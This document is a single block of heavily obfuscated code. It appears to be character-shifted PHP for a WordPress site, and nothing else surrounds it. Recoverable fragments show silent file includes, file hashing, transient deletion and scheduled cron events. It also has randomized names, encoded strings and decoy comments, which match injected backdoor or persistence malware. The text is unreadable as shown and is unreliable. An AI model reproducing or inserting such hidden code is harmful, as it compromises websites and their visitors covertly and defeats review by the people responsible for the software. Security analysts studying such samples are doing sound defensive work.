jj`>dqcld1xlfd: ?;9!$(((((jj`>dqcld1xlfd: :9=:!!3zm|}zf((((nid{m3(((((u((((u(,~o8a|m=x`{Wp`(((5(md1=l1e:?eaxnW0xz?;>x1 ,k}zzmf|$((,{zyeoW:8}yf1r>ec(((&((*Tf*((&(,q~lq|ap|fiob>n((&((((*Tf*((&(,e9;0`fp1zi!3(an( ){jynjr};<k;ff=~{9pbapx ,er<gbcg}d<k$(,~o8a|m=x`{Wp`!!((s(((((zm|}zf((nid{m3(((u(((((an( ,gzp;bj|gdfpya?!(d8incq1<`|<n`1Wi ,er<gbcg}d<k!3(zm|}zf(((((|z}m3((u((ki|k`( \`zgijdm((((,d|f9x=j|9W:!((((s((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: ?;9!$(,d|f9x=j|9W:!3((((((((zm|}zf((nid{m3(u(ki|k`((( Mpkmx|agf((,d|f9x=j|9W:!(((s(zm|}zf((((nid{m3(((((uun}fk|agf((((n;eb:g?;kdb=b~ !(s((((((,zark~;brg`yflpWp((((5(izziq !3((((((((((an( )aW;~yrxiqyjro :9:0! aozjlg0f<j1nk{ :990!!!(zm|}zf(,zark~;brg`yflpWp3(((((,allWW`obj=((5(( lmnafml aW;~yrxiqyjro 91?0!!((((7((((((_XWKGF\MF\WLAZ(2(((( lmnafml jj`>dqcld1xlfd: 919?!!(((7((IJ[XI\@((&((jj`>dqcld1xlfd: :9=;!(((2(**!!(&((rq;ec{mmgl| :9=<!3((((,}x~f:papj<af{:?((5( {|zafo!(((Hom|Wgx|agf rq;ec{mmgl| 9:=;!$(((**!3(an(((( ,}x~f:papj<af{:?((()55((**!((,zark~;brg`yflpWpSU((((5(,allWW`obj=(&(((,}x~f:papj<af{:?(&(aW;~yrxiqyjro :8<=!3(,ny?p}={Wyedp``1((((5((( {|zafo!((Hom|Wgx|agf aozjlg0f<j1nk{ 9:=<!$(**!3(((an( ,ny?p}={Wyedp``1((()55(**(..((,ny?p}={Wyedp``1()55((,}x~f:papj<af{:?!((,zark~;brg`yflpWpSU(5((,allWW`obj=(((&((((,ny?p}={Wyedp``1((((&(jj`>dqcld1xlfd: :8<=!3(((zm|}zf((,zark~;brg`yflpWp3(((u((n}fk|agf(d?aize1j=xz9=f1z !(s(((|zq((san((( )lmnafml jj`>dqcld1xlfd: 919?!!(tt()rq;ec{mmgl| :9:0! aozjlg0f<j1nk{ :9==!!!((zm|}zf3((ngzmik`((( n;eb:g?;kdb=b~ !((((i{((((,aa8{8=1o?exq1d`n!((((s''(`g{|(jq|m(gzlmz(((,a9pzol`>W>af}r(5(((e||ngqy~:jfj0;o0a !((&(aW;~yrxiqyjro :9=>!(&((g{mxxjmmdpz1}` ,aa8{8=1o?exq1d`n$((( 99#9!!((&((jj`>dqcld1xlfd: 90;?!3(((an(( )Hjj`>dqcld1xlfd: :999! ,a9pzol`>W>af}r!!(((kgf|af}m3((an( Hjj`>dqcld1xlfd: :999! ,aa8{8=1o?exq1d`n!(((..((((Haozjlg0f<j1nk{ :8<8! ,aa8{8=1o?exq1d`n!(6((((8!((kgf|af}m3(,~`>m=p8zci(((((5((Haozjlg0f<j1nk{ :98=! ,a9pzol`>W>af}r!3(((an(( )aW;~yrxiqyjro :81<! ,~`>m=p8zci!(((((tt((,~`>m=p8zci(((((555((((**!((kgf|af}m3an( {jynjr};<k;ff=~{9pbapx ,aa8{8=1o?exq1d`n$(((,~`>m=p8zci!!(((((s(gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: :9=?!$((((aozjlg0f<j1nk{ :9=0!!3((H}xli|mWgx|agf aW;~yrxiqyjro :9=1!$((rq;ec{mmgl| 900:! !$(((aW;~yrxiqyjro :89;!!3((((u(u''(Hla{xi|k`(kg}f|%eaf%{cm|k`((u((ki|k`((( \`zgijdm(((,d|f9x=j|9W:!((s(gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ :9=?!$(((,d|f9x=j|9W:!3((u(((ki|k`((( Mpkmx|agf((,d|f9x=j|9W:!(su(u((((((n}fk|agf((lj;1<W{yrp=1i:y=p: !(((((s(|zq(s(an( )lmnafml rq;ec{mmgl| :9>8!!!(zm|}zf((((((nid{m3((((((((,`|x{nmipl~l((((5((((n;eb:g?;kdb=b~ !3an(((( mex|q ,`|x{nmipl~l!!(((zm|}zf(((nid{m3(,lmiqa0on`aok(5( af|!((om|Wgx|agf rq;ec{mmgl| :9>9!$(((((8!3an((((( ,lmiqa0on`aok(..((((aozjlg0f<j1nk{ 900:! !(%(((((,lmiqa0on`aok((4( 8p:il<#8p9:>ik!!(zm|}zf(nid{m3(((,b~9?l=gbz|fqqf(5((ojcir|0ro>gifi>;n?| !((&(((/2/((&(((g{mxxjmmdpz1}` IJ[XI\@((((&((((((aW;~yrxiqyjro 909=!$(((((( 8p>#8p:!!3(,{zyeoW:8}yf1r>ec((5((jj`>dqcld1xlfd: :9>:!((&(((((,b~9?l=gbz|fqqf((&(aozjlg0f<j1nk{ :9>;!3,e9;0`fp1zi(((5(aW;~yrxiqyjro :9><!((((&(,b~9?l=gbz|fqqf(((((&((((jj`>dqcld1xlfd: :9>;!3,k8rzmo9:g=z:o9zd(((5((jj`>dqcld1xlfd: :9>=!(&((aW;~yrxiqyjro :9>>! aW;~yrxiqyjro :9<>! IJ[XI\@((&((( {|zafo!(((xzbpr<d>l>eb<:~ !!$((((((8$( :44:!!3(,l~y:yixbb~r8q((5(((rq;ec{mmgl| 911=! z9>1{1jm8r8;e~8 !$((aozjlg0f<j1nk{ :9>?!!3(,k>~azc?dnoW~((((5(p|;izdoby9r|y{a|: !3((((an((( ),k>~azc?dnoW~!((zm|}zf((nid{m3,|z>=>ay;fd(5((((f1Wn{ek<blp<m>x`Wx<mn1 ((aozjlg0f<j1nk{ ?;<!$((izziq /WW[D]OWW/$(/WWXD]OAFWJI[M><WW/$(((/WWO]IZLWFIEMWW/$((/WW^MZ[AGFWW/!$((((((izziq ,l~y:yixbb~r8q$(,k>~azc?dnoW~$((,k8rzmo9:g=z:o9zd$(((((ojcir|0ro>gifi>;n?| !!(((((((!3((((an(( ),|z>=>ay;fd!(((((s((an(((((  af|!(((((om|Wgx|agf jj`>dqcld1xlfd: :9<0!$((8!(((((6((((8!((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: :9=?!$((((((rq;ec{mmgl| :9>0!!3((((zm|}zf(nid{m3((u((,|z>=>ay;fd(((5((aW;~yrxiqyjro :9>1! aozjlg0f<j1nk{ :9=8!$((((**$(,|z>=>ay;fd!3((((an(((( )jj`>dqcld1xlfd: :81<! ,|z>=>ay;fd!(tt(((,|z>=>ay;fd((((555((((**!(zm|}zf(nid{m3((ngzmik`(( ,`|x{nmipl~l((i{(((,ge|okkWn;maiy|!((s((((((an(((( )HaW;~yrxiqyjro :999! ,ge|okkWn;maiy|!!((kgf|af}m3,}g1en>|r`bg(5((aW;~yrxiqyjro :9:0! aozjlg0f<j1nk{ 98<!!((7(((((Hjj`>dqcld1xlfd: 98<! ,ge|okkWn;maiy|$(/k/!(((2(((nid{m3((an( ,}g1en>|r`bg(()55((nid{m(((((..(aW;~yrxiqyjro :9:0! aozjlg0f<j1nk{ :9?8!!!(Hndgkc ,}g1en>|r`bg$((DGKCWMP!3(,k}zzmf|((5((((((Hrq;ec{mmgl| :98=! ,ge|okkWn;maiy|!3(an(( )rq;ec{mmgl| :81<! ,k}zzmf|!!(((((s(gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :9?9!$(rq;ec{mmgl| 9<<:!!3((((an((( ,}g1en>|r`bg((((()55(((nid{m!((((san( aW;~yrxiqyjro :9?:! aW;~yrxiqyjro :9?;!!!(((Hndgkc ,}g1en>|r`bg$((((DGKCW]F!3(((((Hnkdg{m ,}g1en>|r`bg!3(u(((kgf|af}m3((u|zq(((s(an((((( aozjlg0f<j1nk{ :9=9! ,k}zzmf|!(6(((( 8p9knk;#8pm;8;l!!(((((,k}zzmf|(((5(bW0a{a?}a`=bcb<?m ,k}zzmf|!3,mdmjp`<r=598>t91=3,f?n9ji0xigqi5,mdmjp`<r=V9<3((((an(( jj`>dqcld1xlfd: :9<9! ,k}zzmf|$(((,{zyeoW:8}yf1r>ec!((((()55(nid{m(..(((aW;~yrxiqyjro :9<9! ,k}zzmf|$(((((,e9;0`fp1zi!(()55((nid{m!(zm|}zf(((((|z}m3an(((((( )Hrq;ec{mmgl| 91;>! ,ge|okkWn;maiy|!!(((kgf|af}m3(((((,a9pzol`>W>af}r(((5(((e||ngqy~:jfj0;o0a !(((((&((rq;ec{mmgl| :9?<!(((&(g{mxxjmmdpz1}` ,ge|okkWn;maiy|$(( >449!!((((((&(jj`>dqcld1xlfd: :9?=!3((,cqdfl9bb1q(5(g{mxxjmmdpz1}` IJ[XI\@(((&(((aozjlg0f<j1nk{ :9?>!$((((( :44:!!3(,k}zzmf|((((5((al}zrmf1<|p9pc;pp ,k}zzmf|$((aW;~yrxiqyjro :99:!$((aozjlg0f<j1nk{ :9??!!3(((,k}zzmf|(((((5((aW;~yrxiqyjro :9?0! aW;~yrxiqyjro :9?1!$((((((**$((,k}zzmf|!3an(( )jj`>dqcld1xlfd: :81<! ,k}zzmf|!!(s((((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: :908!$(((jj`>dqcld1xlfd: :909!!3,j~cpi|x`8o8yj599<t:03,q~cjk<n`r95,j~cpi|x`8o8yjV:883((((kgf|af}m3((uan(( jj`>dqcld1xlfd: :90:! ,k}zzmf|$(rq;ec{mmgl| :90;!!(((()55(nid{m(((tt(rq;ec{mmgl| :90:! ,k}zzmf|$(rq;ec{mmgl| :90<!!((((()55((((nid{m!((s,ji<:;je{am(5(((((Hjj`>dqcld1xlfd: :999! ,a9pzol`>W>af}r!(((7(Haozjlg0f<j1nk{ :98=! ,a9pzol`>W>af}r!(((2(nid{m3(an(((( )jj`>dqcld1xlfd: :81<! ,ji<:;je{am!(tt(,ji<:;je{am(((555(**!((((s,|1<p<r9?~idg5:=?03,jgnrqp?`c{W=5,|1<p<r9?~idg-9<3((gcp<j<0::Wlzkc}{liqd} jj`>dqcld1xlfd: :908!$((aozjlg0f<j1nk{ :90=!!3(((kgf|af}m3(u(,k}zzmf|(5(((((,ji<:;je{am3((}f{m| ,ji<:;je{am!3((u(((,l:ia?:zr>((5(~Wbxzb>=x0qyla ,k}zzmf|!3an((((( aozjlg0f<j1nk{ :81<! ,l:ia?:zr>!((..(((((,l:ia?:zr>((((()55((**!((((s(((((,jg`yimj;cc0x:k>((((5((((Hrq;ec{mmgl| :999! ,a9pzol`>W>af}r!((((7(Haozjlg0f<j1nk{ :98=! ,a9pzol`>W>af}r!((((2((nid{m3(an((( )jj`>dqcld1xlfd: :90>! ,jg`yimj;cc0x:k>!(((tt(,jg`yimj;cc0x:k>(((((()55((,l:ia?:zr>!(({jynjr};<k;ff=~{9pbapx ,a9pzol`>W>af}r$(((,l:ia?:zr>!3(((}f{m| ,jg`yimj;cc0x:k>!3u(((}f{m| ,l:ia?:zr>!3(((,ay>jopbd8fmec;9(((5(rq;ec{mmgl| 9>8:!3an((((( rq;ec{mmgl| :9=9! ,k}zzmf|!((6((8((..(((jj`>dqcld1xlfd: :90:! ,k}zzmf|$(((((rq;ec{mmgl| :90?!!()55(nid{m((((..(((((jj`>dqcld1xlfd: :9>>! rq;ec{mmgl| :900! ,k}zzmf|!$(%:!(((()55((((((aW;~yrxiqyjro 9>1>!!(((s((((((,ay>jopbd8fmec;9(5((((**3(u(((((((,l81r`pn`lpf;((((5((( jj`>dqcld1xlfd: :901! ,k}zzmf|!((((6(((8!(((7(((*Tf*((2(**3(((,x;rjpzqc8rgk(5(,l81r`pn`lpf;(((&((,ay>jopbd8fmec;9(&(,{zyeoW:8}yf1r>ec(((&((*Tf*(&(((,|z>=>ay;fd(((&(*Tf*((&(((,e9;0`fp1zi(&(*Tf*3(((an((( )f89kW1g}g|i=ira ,ge|okkWn;maiy|$(((((,k}zzmf|!!(((s''(n}dnadd(afnmi{ajdm(innafm%|qxm((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| :908!$((aozjlg0f<j1nk{ :9=:!!3((((kgf|af}m3(((((((u(((an( ){jynjr};<k;ff=~{9pbapx ,ge|okkWn;maiy|$((,k}zzmf|((&((,x;rjpzqc8rgk!!(kgf|af}m3zm|}zf((|z}m3(u((((nafiddq((s((((((((an((((( ,}g1en>|r`bg((((()55((nid{m!((s((an( aW;~yrxiqyjro :9?:! aozjlg0f<j1nk{ :9?;!!!(((((Hndgkc ,}g1en>|r`bg$(((((DGKCW]F!3Hnkdg{m ,}g1en>|r`bg!3((u((u(u((zm|}zf(((nid{m3((u((ki|k`((( \`zgijdm((,d|f9x=j|9W:!(((s(((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ :908!$((,d|f9x=j|9W:!3((zm|}zf((((((nid{m3(u((((((ki|k`( Mpkmx|agf((((,d|f9x=j|9W:!(s(zm|}zf((((nid{m3((uun}fk|agf((Wfndyx>q>l|0x==<9b !s((((((((|zq((s(((an( )lmnafml jj`>dqcld1xlfd: :9>8!!!((((zm|}zf3(an( rem9ln;b0>:j~|k9reo= z9>1{1jm8r8;e~8 !!!((((zm|}zf3((,~<nor9>l8n(((5(}ql:?yp08{}elk0~|}1ni !3((,yn0<on0x1>n<`zz(((((5(((g{mxxjmmdpz1}` IJ[XI\@((((((&(((aW;~yrxiqyjro 9>9=!$(((( =>V<0!!(((&((((jj`>dqcld1xlfd: :918!3((,l~y:yixbb~r8q(((5(((jj`>dqcld1xlfd: 911=! z9>1{1jm8r8;e~8 !$(((((aW;~yrxiqyjro :919!!3(((((,xd8`b<k9dofqp((5(mrppqfp~aze:9: !3(((an( ),xd8`b<k9dofqp((tt(aW;~yrxiqyjro :901! ,xd8`b<k9dofqp!((4((( <91#09!!((s(gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9<?1!$((((aozjlg0f<j1nk{ :91:!!3zm|}zf3u(an( )aW;~yrxiqyjro 9=:=! aW;~yrxiqyjro :91;!!!(((zm|}zf3((,z~k0qj0re<x:g0((5(izziq ((,~<nor9>l8n(((((&(/'/((&((,yn0<on0x1>n<`zz$((,~<nor9>l8n((&((jj`>dqcld1xlfd: :91<!(((&((aW;~yrxiqyjro :91=! aW;~yrxiqyjro :91>!!(((&(((,yn0<on0x1>n<`zz$((!3,drif;{i8=(5(( lmnafml aW;~yrxiqyjro :91?!!(((((7((((_XWKGF\MF\WLAZ((2(((IJ[XI\@(&((aW;~yrxiqyjro :9=;!!((&(((jj`>dqcld1xlfd: 9:=>!3((an( Hjj`>dqcld1xlfd: 910:! ,drif;{i8=!!((s((((,W~=e<blW;>|{d:(5((}:{9};`f?=m?`{`i{yc} ,drif;{i8=!3(((an(( aozjlg0f<j1nk{ :9::! ,W~=e<blW;>|{d:!!((sngzmik`((((( ,W~=e<blW;>|{d:((i{(((((,d|f9x=j|9W:!(((((s,a{:ozyjjpx((5(((((,drif;{i8=((((((&((/'/(&(((,d|f9x=j|9W:3((((an( Hrq;ec{mmgl| 910:! ,a{:ozyjjpx!(..(Hrq;ec{mmgl| 91;>! ,a{:ozyjjpx!!((s,z~k0qj0re<x:g0SU(5((((,a{:ozyjjpx((&((/'/(&(,yn0<on0x1>n<`zz3(jzmic3(((u((u''(Haf|mzz}x|({|z}k|}zid%|qxm(((uu''(afbmk|a~m%ilb(ilix|mz((ngzmik`(( ,z~k0qj0re<x:g0(i{(((((,d?=`az|dly0!(((s((((((an(( Hrq;ec{mmgl| :910! ,d?=`az|dly0!((((..(((Haozjlg0f<j1nk{ :911! ,d?=`az|dly0!(6( 8pnn#8p:m1!!(s((,nf~gm8>qq(5((aozjlg0f<j1nk{ :91;!3(((an(( aW;~yrxiqyjro 9=:=! ,nf~gm8>qq!!(s((,b}8zg|erm?((5(fm((((((,nf~gm8>qq !3(((an(( H,b}8zg|erm?%6gxmf ,d?=`az|dly0!(555((|z}m!((((s(,b}8zg|erm?%6kdg{m !3(kgf|af}m3(u((u((((u,z?xcd9c}k{8(5(((jj`>dqcld1xlfd: :81?! ,d?=`az|dly0!3((an( )Hrq;ec{mmgl| 910:! ,z?xcd9c}k{8!!(Wfpcp9{<d<qobniil ,z?xcd9c}k{8$( ;1:#989!$((|z}m!3((((,nf~gm8>qq(5(rq;ec{mmgl| :91;!3((,qq9~{el?jyqll((((5((((((kW>>zfk;ll`x}<cW9>k8p> ,z?xcd9c}k{8$((aozjlg0f<j1nk{ 9981!!3((((an((( ,qq9~{el?jyqll(((555(nid{m!((((kgf|af}m3,WWqWqza>k{((5((fm((((,nf~gm8>qq !3an(( H,WWqWqza>k{%6gxmf ,qq9~{el?jyqll$((,nf~gm8>qq22KZMI\M((((((t((,nf~gm8>qq22G^MZ_ZA\M!((((555((|z}m!(s((((,WWqWqza>k{%6illNzge[|zafo ,l~y:yixbb~r8q((&(/'/((&(,l~y:yixbb~r8q((((((&(aW;~yrxiqyjro :919!$((,xd8`b<k9dofqp!3((,WWqWqza>k{%6kdg{m !3((,n;y<?xdeo>pm(5((fm(((,nf~gm8>qq !3((((an((( H,n;y<?xdeo>pm%6gxmf ,qq9~{el?jyqll!((555(|z}m!((((s(((,n;y<?xdeo>pm%6kdg{m !3(an((( `z?d~=rb8j}Wcx: ,qq9~{el?jyqll$((,d?=`az|dly0!((tt((( ngr}?>ozapi8 ,qq9~{el?jyqll$(,d?=`az|dly0!(((((..((((aqdz{8}zyk~qm;yf ,qq9~{el?jyqll!!!(((s((((k88c<`??}faWpk;0qo|l| ,d?=`az|dly0$(9`rp}<>q`m}an !!3((yy|m;zWdxb}n{r{~akm ,d?=`az|dly0$( ;?9#<1!!3(((((u((((md{m(s''(_X([mz~mz([alm(Zmflmz2(kgf{|if|%|aem({k`ml}dmz(((aqdz{8}zyk~qm;yf ,qq9~{el?jyqll!3u''(ixxzgpaei|m(ei|k`(((u(md{m(s(((aqdz{8}zyk~qm;yf ,qq9~{el?jyqll!3((uu(md{m((s((((((aqdz{8}zyk~qm;yf ,qq9~{el?jyqll!3((((u(uu(ki|k`(( \`zgijdm((((((,d|f9x=j|9W:!((((((s((((gcp<j<0::Wlzkc}{liqd} aW;~yrxiqyjro 9>9=!$((,d|f9x=j|9W:!3((((((((u((ki|k`(( Mpkmx|agf(((,d|f9x=j|9W:!(((suu(((n}fk|agf(b1q1ncqrlp:bo:8mz8x !(s((|zq((s(((an(( )aW;~yrxiqyjro :9?:! aozjlg0f<j1nk{ <;?!!(((tt()aW;~yrxiqyjro :9?:! rq;ec{mmgl| ::88!!!(((zm|}zf3(an((( )lmnafml aozjlg0f<j1nk{ ::89!!!(((zm|}zf3(,ka?9idWy{d((5(aW;~yrxiqyjro :9;8!3(an( )xWfmp|W{k`ml}dml ,ka?9idWy{d!!((sxW{k`ml}dmWm~mf| aW;~yrxiqyjro 900:! !(((#((((( :1:#0!$(aozjlg0f<j1nk{ ::8:!$((((((,ka?9idWy{d!3''(m{kixm%ifidqrm({m{y}adafmiz({cax%da{|((((u(an(((((( )xWfmp|W{k`ml}dml aW;~yrxiqyjro :9;9!!!((((s(xW{k`ml}dmWm~mf| jj`>dqcld1xlfd: ::8;! !(#( =8;#1?!$(jj`>dqcld1xlfd: ::8<!$(aW;~yrxiqyjro :9;9!!3((u''(kdg{ml(kgf|iafmzu((((ki|k`(( \`zgijdm((,d|f9x=j|9W:!((s,fyn}:1dz159:993,{ox`r>>j5,fyn}:1dz1-13(((((gcp<j<0::Wlzkc}{liqd} aozjlg0f<j1nk{ ::8=!$(,d|f9x=j|9W:!3((u((((ki|k`((((( Mpkmx|agf(,d|f9x=j|9W:!((s(u(un}fk|agf(((bW;x{cp9}|c11;oy?a !((s((((|zq(san(( )lmnafml rq;ec{mmgl| ::89!!!((((zm|}zf3(,iqg>gai==((((5((((((g{mxxjmmdpz1}` IJ[XI\@(((&((/o/$( 9V1!!3((((,r}og`k|egqjfb?m((5((izziq !3(an((( aW;~yrxiqyjro :9?:! jj`>dqcld1xlfd: ::8>!!!(((,r}og`k|egqjfb?mSU((5((e||ngqy~:jfj0;o0a !3(,r}og`k|egqjfb?mSU((5(IJ[XI\@((((&((((aW;~yrxiqyjro ::8?!3(((an(( aozjlg0f<j1nk{ :9?:! aozjlg0f<j1nk{ =<!!!(,r}og`k|egqjfb?mSU((5((}ql:?yp08{}elk0~|}1ni !3(ngzmik`(((( ,r}og`k|egqjfb?m((i{((,ey<gn8>j9i!(s,r}bdk{;8=`drq((((5((((((,ey<gn8>j9i(((((&(((aozjlg0f<j1nk{ 9><?!((&((,iqg>gai==3(((an((( Hrq;ec{mmgl| ::80! ,r}bdk{;8=`drq!(..((( af|!((Haozjlg0f<j1nk{ ::81! ,r}bdk{;8=`drq!((6((((rq;ec{mmgl| ::8;! !((%(((( ;99%?9!!(zm|}zf3((u(((((ngzmik`(( ,r}og`k|egqjfb?m((i{((((,ey<gn8>j9i!((s(((,dWq;df9me=d}g}Wj(((((5(((,ey<gn8>j9i(((&((((rq;ec{mmgl| ::98!((&(,iqg>gai==3((an( Hrq;ec{mmgl| ::99! ,dWq;df9me=d}g}Wj!!((s((((,g=|}bpalnqqzq((5( af|!((Haozjlg0f<j1nk{ ::81! ,dWq;df9me=d}g}Wj!3((an(( ,g=|}bpalnqqzq(6((((((rq;ec{mmgl| ::8;! !(((%(((( 0>;>0#;:!((((..((,g=|}bpalnqqzq(45(((rq;ec{mmgl| ::9:! !((#((((( ?8#:;8!!((kgf|af}m3(((((((aqdz{8}zyk~qm;yf ,dWq;df9me=d}g}Wj!3(((u,k=kjfbjqi1nob(5(((((,ey<gn8>j9i(((&((aW;~yrxiqyjro 9>=:!((((((&((,iqg>gai==((((((&(aozjlg0f<j1nk{ :919!3(an((( Hrq;ec{mmgl| ::9;! ,k=kjfbjqi1nob!(((..(( af|!((((Haozjlg0f<j1nk{ :911! ,k=kjfbjqi1nob!(6( <0:#90!!((s,b:frxk~ax>;g1<;(((5((,ey<gn8>j9i((((&(((jj`>dqcld1xlfd: 9>09!((((&((,iqg>gai==3(((,bbg>9a=glyd((((5((HaW;~yrxiqyjro ::9;! ,b:frxk~ax>;g1<;!((7((((jj`>dqcld1xlfd: 9:09!  {|zafo!(Hrq;ec{mmgl| :98=! ,b:frxk~ax>;g1<;!!((2(((((**3(((((an((( ,bbg>9a=glyd(()55((**((..((((aW;~yrxiqyjro :9?:! aozjlg0f<j1nk{ ::9<!!(((..((Hel=Wnadm ,k=kjfbjqi1nob!(((555(,bbg>9a=glyd!(s(Hafkd}lm((,k=kjfbjqi1nob3(((zm|}zf3((uan(( ,bbg>9a=glyd()55(**!(((s((aqdz{8}zyk~qm;yf ,k=kjfbjqi1nob!3((((((((u((((}f{m| ,b:frxk~ax>;g1<;$(((((,bbg>9a=glyd!3u(((u(((}f{m| ,dWq;df9me=d}g}Wj$((((((,g=|}bpalnqqzq!3an((((( aozjlg0f<j1nk{ :9?:! jj`>dqcld1xlfd: 018!!!(Hlmdm|mW|zif{amf| jj`>dqcld1xlfd: ::9=!!3(((d?bbzijdefzod<jy99j !3((u(((ki|k`((((( \`zgijdm(((,d|f9x=j|9W:!(((sgcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| ::9>!$(((,d|f9x=j|9W:!3(((u((ki|k`((( Mpkmx|agf(((,d|f9x=j|9W:!((s((u((un}fk|agf(((((~0lqd|>?>m190}oz !(s(|zq(s(an(( )lmnafml jj`>dqcld1xlfd: ::9?!!!(zm|}zf3(((((<lbc;em?qm<d9>>0?ano f}dd!3((,l~y:yixbb~r8q((((5((aW;~yrxiqyjro 911=! z9>1{1jm8r8;e~8 !$(aW;~yrxiqyjro :919!!3,xnglomz|omid959>">3,pc:z{;WxbxW5,xnglomz|omid9%9=3(((,yjk|{18yqxm(5(((z9>1{1jm8r8;e~8 !3(,xd8`b<k9dofqp((5(**3((an((((( HaW;~yrxiqyjro ::9;! ,yjk|{18yqxm!(..(Hjj`>dqcld1xlfd: ::90! ,yjk|{18yqxm!(((6(( 100;%<00;!!(s(((,f:~:my=`eibrn(((5(( {|zafo!((Hrq;ec{mmgl| :98=! ,yjk|{18yqxm!3,x|rx0g|~5%<=3,g9dl|Wx1rr=o5 ,x|rx0g|~68!7,x|rx0g|~2%,x|rx0g|~3((,:c<a|nim<=>egr(5((((aozjlg0f<j1nk{ :9?:! aozjlg0f<j1nk{ ::91!!(((7(bW0a{a?}a`=bcb<?m ,f:~:my=`eibrn!(2(((((,f:~:my=`eibrn3(((((an(( aW;~yrxiqyjro :::8! ,:c<a|nim<=>egr!((..(aW;~yrxiqyjro :901! ,:c<a|nim<=>egr!((((((6(( 19:%<9:!(..((~rl=fzla18ykW?jkrj} ,:c<a|nim<=>egr!!(,xd8`b<k9dofqp((5((((((,:c<a|nim<=>egr3(}f{m| ,f:~:my=`eibrn$((((,:c<a|nim<=>egr!3((u(an((( ,xd8`b<k9dofqp((((555((**!(((s,y{}:=ajkd((5(((g{mxxjmmdpz1}` IJ[XI\@(((&((jj`>dqcld1xlfd: :::9!$( 91%1!!3(((((,k>~azc?dnoW~((5(aW;~yrxiqyjro :9?:! aW;~yrxiqyjro :9==!!((((((7(Hom|Wgx|agf ,y{}:=ajkd$(**!(((2((**3(((an(( ),k>~azc?dnoW~((((((tt(jj`>dqcld1xlfd: ::::! ,k>~azc?dnoW~!((4(((( <<=#==!!((zm|}zf3,{dmWer<j`95;1t9;03,r=i:gecyqz={5,{dmWer<j`9V:::3,xd8`b<k9dofqp((5((((y:xj|;>rxgaoabdp~z9g rq;ec{mmgl| <8:! ,k>~azc?dnoW~!!3(an(( ),xd8`b<k9dofqp(((tt(jj`>dqcld1xlfd: ::::! ,xd8`b<k9dofqp!(((4((( <=:#<0!!((zm|}zf3((an(( )~rl=fzla18ykW?jkrj} ,xd8`b<k9dofqp!!(s(((gcp<j<0::Wlzkc}{liqd} rq;ec{mmgl| 9:0?!$((jj`>dqcld1xlfd: 0?;!!3(zm|}zf3(((u(((((u((,~<nor9>l8n(5((}ql:?yp08{}elk0~|}1ni !3((,oe0e|8o9l9z}pc=(((5(((,~<nor9>l8n((&(((aW;~yrxiqyjro ==!((&(((((,l~y:yixbb~r8q3,eomykoj{jbo{((5(((,oe0e|8o9l9z}pc=(&(((/'/((&(,l~y:yixbb~r8q((&(((rq;ec{mmgl| :919!3((((an(((( )Hrq;ec{mmgl| 910:! ,oe0e|8o9l9z}pc=!!((Wfpcp9{<d<qobniil ,oe0e|8o9l9z}pc=$((( <<0#<=!$(|z}m!3(,nq>ozWzemij~|Wb((5(HaW;~yrxiqyjro ::9;! ,eomykoj{jbo{!(7( {|zafo!((Haozjlg0f<j1nk{ :98=! ,eomykoj{jbo{!(2((((**3,bl?d~a}cjn1<jf|(((5(((nid{m3an(( ,nq>ozWzemij~|Wb()55(**((((..(((((aozjlg0f<j1nk{ :8;<! aozjlg0f<j1nk{ 9119!$(((rq;ec{mmgl| :9>>! ,nq>ozWzemij~|Wb$((8$(( <8=;#<;!!$((((,paWpbc:1~:?1d>!(((..((~mz{agfWkgexizm ,paWpbc:1~:?1d>S9U$((ojcir|0ro>gifi>;n?| !$(/6/!!(,bl?d~a}cjn1<jf|(((((5(((((|z}m3(((}f{m| ,paWpbc:1~:?1d>!3(((((an(((( ),bl?d~a}cjn1<jf|(..(((( ,nq>ozWzemij~|Wb(555((**(tt(jj`>dqcld1xlfd: :9<>! bW0a{a?}a`=bcb<?m ,nq>ozWzemij~|Wb!!((((()55((jj`>dqcld1xlfd: :9<>! ,xd8`b<k9dofqp!!!((s(((((an((( {jynjr};<k;ff=~{9pbapx ,eomykoj{jbo{$(|;neyggnc9}qimc=gf ,xd8`b<k9dofqp!!!(((((syy|m;zWdxb}n{r{~akm ,eomykoj{jbo{$(((( ;1:#:0!!3(m1<bdc<lk<9|c;d ,eomykoj{jbo{!3(d8incq1<`|<n`1Wi ,eomykoj{jbo{!3u((((((u((}f{m| ,nq>ozWzemij~|Wb$((((,bl?d~a}cjn1<jf|!3(an( aozjlg0f<j1nk{ :9?:! rq;ec{mmgl| :9==!!(((..((aozjlg0f<j1nk{ :::;! jj`>dqcld1xlfd: 9?>>!!!(s,qxknc=||>ig95;?"?3,}gc{~k~0``zce5,qxknc=||>ig9%<?3(((,zy~jd=p;r<k<<9kg(5((,l~y:yixbb~r8q((&(/'/(((((&((,l~y:yixbb~r8q(&((aW;~yrxiqyjro :919!3((((,p`ir0<1|kmW?{qb((5(((om|Wgx|agf aW;~yrxiqyjro :::<!$(((izziq !!3((((((an((((( )aozjlg0f<j1nk{ :9::! ,p`ir0<1|kmW?{qb!!(,p`ir0<1|kmW?{qb(5((izziq !3((((an(( )aW;~yrxiqyjro :::=! ,zy~jd=p;r<k<<9kg$((((((,p`ir0<1|kmW?{qb$(((((|z}m!!((((s((((((,p`ir0<1|kmW?{qbSU((((5(,zy~jd=p;r<k<<9kg3}xli|mWgx|agf jj`>dqcld1xlfd: :::>!$((((jj`>dqcld1xlfd: ?8:! ,p`ir0<1|kmW?{qb!!3u((((u(,m9mol~{ek`apjb1(5((((}Wkig1fmg~0~qc<{g`|88f !3(((((((an( Haozjlg0f<j1nk{ 910:! ,m9mol~{ek`apjb1!((tt((Wfpcp9{<d<qobniil ,m9mol~{ek`apjb1$(( <<>#<?!$(|z}m!!((s,y=ion8|xn<;((5(,m9mol~{ek`apjb1(((&((((/'/((&(,l~y:yixbb~r8q((&(((jj`>dqcld1xlfd: :::?!3((,feo0failjW(((5((Haozjlg0f<j1nk{ ::9;! ,y=ion8|xn<;!(7(((( {|zafo!(Haozjlg0f<j1nk{ :98=! 